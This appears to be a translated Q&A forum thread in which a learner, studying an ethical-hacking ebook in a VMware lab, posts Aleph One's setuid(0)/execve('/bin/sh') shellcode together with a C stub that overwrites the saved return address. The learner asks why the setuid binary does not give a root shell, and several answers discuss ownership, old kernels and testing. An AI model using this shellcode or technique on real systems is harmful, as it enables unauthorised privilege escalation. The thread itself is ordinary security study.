我正在关注这本关于道德黑客的电子书,我到了Linux Exploit Chapter,这是Aleph的1代码的代码。
//shellcode.c
char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main() { //main function
int *ret; //ret pointer for manipulating saved return.
ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.
(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}
我使用
给予超级用户权限chmod u+s shellcode
作为超级用户,然后使用
返回普通用户su - normal_user
但是当我运行./shellcode
时,我应该是root用户,但我仍然是normal_user
所以任何帮助?
顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ......
答案 0 :(得分:9)
如果这是一个旧的漏洞利用......它不应该早就解决了吗?
顺便说一句,作为个人建议:不要吝啬使用这个昵称,然后四处询问漏洞。
答案 1 :(得分:7)
root拥有shellcode
可执行文件吗? setuid位(u + s)使可执行文件以其所有者的权限运行,该权限不一定是root。
答案 2 :(得分:0)
好吧,setuid()会更改当前正在运行的程序的用户。您的Shell仍将在普通用户下运行! :)
要不然,或者我没有达到这个黑客的目的。
答案 3 :(得分:0)
我认为 setuid仅在程序运行时将uid设置为0。在shellcode运行时,你能执行一些操作来检查UID吗?
答案 4 :(得分:0)
如果我说得对,你正在执行的代码(setuid(0))是一个系统调用,它将当前用户更改为 root 。问题在于它正在改变当前用户ID,并赋予该进程root权限。如果它正常工作,您可以运行具有root权限的任何内容。
要对其进行测试,请使用root创建文件或目录,确保无法以简单用户的身份将其删除,然后尝试将代码添加到删除文件的可执行文件中。如果代码正常,则应删除该文件。
然后,要获得root权限,请尝试从程序中分叉到新的shell。不过,我不确定是否可能。
... 然而,这是一个古老的漏洞。旧内核可能对此持开放态度,但使用任何最新版本都不会做任何事情。
UPDATE:我刚刚重新读取代码,并意识到对shell的调用是(/ bin / sh),所以你已经分到了一个假定的超级用户shell。要检查它是否真的有效,请在调用之前和之后查看shell的PID。如果它已更改,退出shell,您应该返回到先前的PID。这意味着(1)它工作,你操纵堆栈并在那里执行那些代码,(2)漏洞被修复,内核阻止你获得访问权。